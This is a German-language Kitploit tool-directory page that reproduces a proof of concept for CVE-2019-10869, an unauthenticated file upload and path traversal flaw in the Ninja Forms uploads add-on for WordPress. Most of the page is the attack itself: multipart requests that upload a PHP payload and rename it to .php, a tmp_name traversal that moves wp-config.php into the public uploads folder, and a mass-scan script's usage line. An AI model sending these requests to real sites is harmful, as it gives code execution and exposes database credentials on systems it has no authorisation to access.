Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-10869 — (Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Nicht authentifizierter Upload beliebiger Dateien | Kitploit
Tools/GitHubGitHub/ktn1990/cve-2019-10869
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Nicht authentifizierter Upload beliebiger Dateien

Repository anzeigen
1662vor 7 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Nicht authentifizierter beliebiger Datei-Upload

Description:

Path Traversal und uneingeschränkter Datei-Upload existieren im Ninja-Forms-Plugin vor 3.0.23 für WordPress (wenn das Uploads-Add-on aktiviert ist). Dies ermöglicht einem Angreifer, das Dateisystem zu durchlaufen, um auf Dateien zuzugreifen und Code über die Parameter name und tmp_name in includes/fields/upload.php (auch als Upload-/Submit-Seite bekannt) auszuführen.

POC:

Erste Datei-Upload-Anfrage:

root@kitploit:~
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Antwort:

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

Wenn das Formular abgeschickt wird, wird die zunächst hochgeladene tmp-Datei an einen neuen Speicherort verschoben:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
  "value":1,
  "id":5,
  "files":[  
     {  
        "name":"test.(php)",
        "tmp_name":"nftmp-BNxfG-test.png.doc",
        "fieldID":5
     }
  ]
 --snip--
 

Der Parameter “name” wird dann durch die WordPress-Funktion sanitize_file_name “bereinigt”, die im Wesentlichen nur eine Reihe vordefinierter Sonderzeichen entfernt:

root@kitploit:~
 ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Removes special characters that are illegal in filenames  
on certain operating systems and special characters 
requiring special escaping to manipulate at the command line. 
Replaces spaces and consecutive dashes with a single dash.  
Trims period, dash and underscore from beginning and end of filename.  
It is not guaranteed that this function will return a filename 
that is allowed to be uploaded. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

Dies führt dazu, dass die tmp-Datei an ihren endgültigen Speicherort verschoben wird: /wp-content/uploads/ninja-forms/1/test.php

Wenn der Upload-Ordner nicht explizit als nicht ausführbar markiert wurde, was standardmäßig nicht der Fall ist, führt dies zur Code-Ausführung:

alt text

Path Traversal in tmp_name:

Beim Absenden des Formulars ist es außerdem möglich, das Dateisystem über den Parameter tmp_name zu durchlaufen, wie unten gezeigt. Beachten Sie, dass tmp-Dateien innerhalb des Uploads-Ordners an ihren neuen Speicherort verschoben werden!

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
  "value":1,
  "id":5,
  "files":[  
     {  
        "name":"test.doc",
        "tmp_name":"../../../../wp-config.php",
        "fieldID":5
     }
  ]
 --snip--

Dies führt dazu, dass die Datei wp-config.php an den folgenden Speicherort verschoben wird: /wp-content/uploads/ninja-forms/1/test.doc

AUTOSCAN:

root@kitploit:~
USAGE: python script.py list-site.txt
Tool herunterladen